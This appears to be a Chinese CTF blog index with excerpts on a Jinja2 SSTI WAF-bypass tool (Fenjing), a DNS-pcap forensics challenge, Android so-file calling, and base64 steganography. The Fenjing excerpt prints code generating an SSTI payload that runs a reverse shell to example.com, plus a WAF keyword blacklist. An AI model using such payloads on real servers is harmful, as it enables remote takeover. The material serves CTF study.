🕸️CTFWeb周报10

[SSTI自动化工具]Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF https://github.com/Marven11/FenJing 使用pip安装运行 pip install fenjing 打开webui python -m fenjing webui 直接import库来生成payload # 精简代码 from fenjing import exec_cmd_payload def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", "[", '"', "'", "_", ".", "+", "~", "{{", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ] return all(word not in s for word in blacklist) shell_payload, will_print = exec_cmd_payload(waf, '要执行的shell') print(f"{shell_payload}") # github readme中提供的 from fenjing import exec_cmd_payload, config_payload import logging logging.basicConfig(level = logging.INFO) def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", "[", '"', "'", "_", ".", "+", "~", "{{", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0","1","2","3","4","5","6","7","8","9" ] return all(word in s for word in blacklist) if __name__ == "__main__": shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"") config_payload = config_payload(waf) print(f"{shell_payload=}") print(f"{config_payload=}") 无参数RCE 正则匹配网页:https://regex101.com/ ...

May 25, 2024 · 2 min · Yalois

😎17届CISCN初赛-Misc-Tough_DNS

Tough_DNS 附件是个数据包,打开数据包,分析,发现大致有两大类数据包。 010是二进制数据,优先使用tshark导出,因为有重复的,再加一个过滤 wireshark导出 删除.baidu.com留下二进制数据 用二进制生成文件发现并没有啥用,因为这个二进制数据每一行长度相等的,是个矩形。可以考虑二维码,我是在记事本里缩放发现是个二维码。这里移除完换行你会发现文本长度是441,正好是21^2。 扫描二维码的得到15f9792dba5c,不知道是干什么的,先存着。 记事本无法缩放的可以通过python脚本来生成二维码 from PIL import Image from zlib import * MAX = 21 # 数字的长度为一个整数的平方(如36^2=1296) pic = Image.new("RGB",(MAX,MAX)) str ="111111101100101111111100000100100101000001101110101010101011101101110101001001011101101110101110001011101100000100000001000001111111101010101111111000000000110000000000111100101010010011101010010000010110111111011001111000101100001001110000110100001000000101111001001100000000000001111001110010111111100100011010110100000100011010000100101110100001000010110101110101110110100110101110101011110101100100000101110001111001111111101111001111100" i=0 for y in range(0,MAX): for x in range(0,MAX): if(str[i] == '1'): pic.putpixel([x,y],(0,0,0)) else:pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() #pic.save("1.png") 继续观察数据包。 发现另一种数据有两种类型,每一个数据都存在TXT字段里 继续导出 tshark -r Tough_DNS.pcapng -T fields -Y “frame.len==100&&dns.id==0x4500” -e dns.txt > 0x4500 tshark -r Tough_DNS.pcapng -T fields -Y “frame.len==100&&dns.id==0x6421” -e dns.txt > 0x6421 导出的文件需要移除换行。 在线删除所有回车换行工具 - UU在线工具 (uutool.cn) ...

May 19, 2024 · 1 min · Yalois

📱CTF安卓逆向中的so文件的动态调试调用

Mobile android逆向中so文件的动态调用 某个安卓题目,使用jadx反编译apk之后 发现有个native函数,调用了so库。 1.创建一个新的anroid项目,然后编辑项目中的grade文件,添加以下内容 不同的DSL要添加的代码不同 Groovy DSL(build.gradle) sourceSets { main { jniLibs.srcDirs = ['lib'] } } Kotlin DSL(build.gradle.kts) sourceSets.all { jniLibs.srcDirs("lib") } 然后把so文件放到项目目录的app目录下 然后新建一个Class,要求Class的包路径必须和jadx中Class的路径一致。 然后把jadx中的代码复制到这个class中 2.在主函数中调用

May 2, 2024 · 1 min · Yalois

✌️CTF-Misc-base64隐写

base64隐写 base64 Base64是一种二进制到文本的编码方式。 base64的每个字节用6位二进制数来表示,共64个编码字符,2^6=64。加上补位符号’=‘共65个字符。 A-Z a-z 0-9 + / = base64编码 编码主要流程: 将原始数据每三个字节分为一组(共24bit),然后每6bit转为一个码表字符(新的四个字节)。如果字节数不是三的倍数,补0使二进制位数是6的倍数来编码 如果最后多了一个字节(8bit,差16bit),补上4个0(12bit—2*6,差12bit),编码成2个base64字符。最后补两个’=’(6*2bit)。 如果最后多了两个字节(16bit,差8bit),补上2个0(18bit—3*6,差6bit),编码成3个base64字符。最后补上一个’=’(6bit)。 Base64是把3个字节变为4个字节,所以,Base64编码的长度永远是4的倍数 base64解码 如果最后补了两个’=’,在解码时,忽略’=’,四个base64字符为一组,最后一组将2个base64字符转为12bit,取8bit为新字节,丢弃掉最后4bit。 如果最后补了一个’=’,在解码时,忽略’=’,四个base64字符为一组,最后一组将3个base64字符转为18bit,取16bit为两个新字节,丢弃掉最后2bit。 如果最后没有补位,在解码时,将每个base64字符转换为对应的6位二进制数(共24位)。然后将这24位二进制数按照每8位分割为一组,得到三个字节的原始数据。 实际上算法的实现是更加复杂的,需要涉及到二进制位操作。 base64隐写 因为在base64解码的时候会丢弃2bit或者4bit,所以在这些地方插入二进制数据不会影响解码的结果,但是会影响编码后base64的结果。所以就可以在这部分进行隐写。 自己写的提取base64可隐写的部分的所有二进制的值合并字符串。 #文本读取内容实现 base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open("./f380d850e6ebdb19b7d0743.txt","r") as f: for i in f.readlines(): #最后一个是换行符,去掉 base64len=(len(i)-1) text=i[0:-1] if base64len%4==0: pass elif base64len%4==3: #能藏2bit t=base64chars.index(text[-1]) t=(str(bin(t))[2:].zfill(6)) #去掉0b开头然后在前边补0直到补齐6位 print(t[-2:],end='') elif base64len%4==2: ##能藏4bit t=base64chars.index(text[-1]) t=(str(bin(t))[2:].zfill(6)) #去掉0b开头然后在前边补0直到补齐6位 print(t[-4:],end='') else: print("好像有些错误") #补全完毕 参考url 一份简明的 Base64 原理解析 - 知乎 (zhihu.com) 神奇的 Base64 隐写 - Tr0y’s Blog

May 1, 2024 · 1 min · Yalois